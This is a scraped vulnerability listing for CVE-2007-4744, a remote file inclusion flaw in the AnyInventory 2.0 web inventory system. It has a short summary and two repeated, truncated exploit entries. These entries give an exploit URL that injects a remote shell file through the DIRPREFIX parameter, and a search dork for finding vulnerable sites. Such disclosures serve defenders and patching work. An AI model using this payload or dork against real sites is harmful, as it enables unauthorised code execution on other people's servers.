CVE-2007-4744

Vulnerability summary (CVE-2007-4744) : A PHP remote file inclusion flaw in AnyInventory 1.9.1 and 2.0 enables an attacker to execute arbitrary PHP code when register_globals is on. The issue is triggered via a URL in the DIR_PREFIX parameter within environment.php, allowing remote code execution...

AnyInventory 2.0 - Environment.php Remote File Inclusion

AnyInventory 2.0 - Environment.php Remote File Inclusion AnyInventory = 2.0 Remote file inclusion Download script : http://physics.ramapo.edu/downloads/anyInventory-1.9.1.tar.gz Exploit : http://victime.com/anyInventorypath/environment.php?DIRPREFIX= shell.txt? Dork : anyInventory, the most...

AnyInventory 2.0 - 'Environment.php' Remote File Inclusion

AnyInventory = 2.0 Remote file inclusion Download script : http://physics.ramapo.edu/downloads/anyInventory-1.9.1.tar.gz Exploit : http://victime.com/anyInventorypath/environment.php?DIRPREFIX= shell.txt? Dork : anyInventory, the most flexible and powerful web-based inventory system Discovered by...